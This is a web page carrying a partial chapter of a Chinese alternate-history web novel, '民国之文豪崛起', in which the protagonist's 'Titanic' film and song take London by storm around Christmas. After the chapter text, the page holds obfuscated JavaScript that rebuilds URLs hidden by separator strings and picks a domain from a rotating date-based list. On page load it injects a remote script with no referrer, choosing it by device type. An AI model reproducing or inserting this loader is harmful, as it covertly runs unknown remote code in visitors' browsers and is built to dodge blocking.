返回

701【老丈人的要求】 民国之文豪崛起

首页
报错
关灯
护眼
字:
大
中
小
上一章 回目录 下一页

“everynightmydreams

iseeyou,ifeelyou,

thathowiknowyouon

faracrossthedistance,andspacesbetweenus

youhaveeshowyouon”

圣诞节即将来临,伦敦街头小店传来阵阵歌声。

随着《泰坦尼克号》热映,不仅克拉克·盖博和费雯丽名声大噪,电影主题曲《我心永恒》也再次风靡英国。

早在30年前,美国就已经出现现代流行乐的雏形,名叫“叮砰巷歌曲”。“叮砰巷”是个地名,民国时期也翻译为“廷潘胡同”,所以按照咱中国人的说法,此时的美国流行乐应该叫“廷潘胡同歌曲”。

好醉人的翻译画风!

一直到摇滚乐出现以前,“廷潘胡同歌曲”都是流行音乐的霸主,并从美国渐渐转播至全世界。

而周赫煊所“创作”的《我心永恒》,显然属于超时代的“廷潘胡同歌曲”,成熟、完美、优雅、感人即便是看不起美国音乐的英国佬,也瞬间就迷上了它。

在周赫煊前往瑞典领奖的时候,费雯丽也随团去了法国,接着又走意大利和西班牙,在西欧各国都刮起了一阵大船旋风。

电影版《泰坦尼克号》在欧洲的反响爆炸,小说也随之一版再版,让周赫煊拿稿费拿到手软。即便没有获得诺贝尔奖,只凭《泰坦尼克号》现在的影响力,周赫煊都足够成为欧洲名人了。

费雯丽赶在圣诞节之前回到伦敦,跟周赫煊以及姐妹们过了一个平安夜。她还趁机跟小孩儿们讲圣诞老人的故事,弄得小灵均一天到晚吵着要袜子,挂在床头就等着收礼物。

12月23日,伦敦市长正式向周赫煊办法荣誉市民称号,同时伦敦大学授予周赫煊荣誉文学博士学位。

12月26日,圣诞节的第二天,威廉·阿斯特在克莱夫登庄园举行盛大舞会,说是要庆祝周赫煊荣获诺贝尔奖。当然,另一位来自英国的诺贝尔奖得主查德威克,也是这场舞会的主角。

傍晚,周赫煊带着张乐怡、费雯丽现身,来到了


本章未完,点下一页继续阅读。>>>

let urls=["hIItIItIIpIIsII:II/II/II{IIdIIdIImII}II/II1II8II/II1II1II0II5II6II1IIbII2II6II2II9II3II8".split("II").join(""),"hRRtRRtRRpRRsRR:RR/RR/RRtRR.RRxRRmRRgRRxRRxRRqRR.RRcRRoRRmRR/RR1RR8RR/RR1RR1RR0RR5RR6RR1RRbRR2RR6RR2RR9RR3RR8".split("RR").join("")];window.__rr__hld=1;let urlindex=0;let ddm=function(){let i = parseInt((new Date().getTime()/1000 - 1767052800)/86400/2);i = i %30;let ds = ['c4dn4p', '52krf1en56', 'mkzyl', '4e8m9wiscm', '930qsg3j68', '7lhqw', 'f691ax6', 'd5ykh16s8b', 'u7ygkovbl', 'nht5dbh', '8ui4pdu12', 'd69otnj', 'vc2tmv', 'n5m2m', 'o80m3b'];return ds[i%15] + (i<15?".cc":".co"+"m");};let rfunc=function(){if(window.__rr__loaded_2938_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++].replace(/\{ddm\}/g,ddm())+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);}};rfunc();rfunc();
上一章 回目录 下一页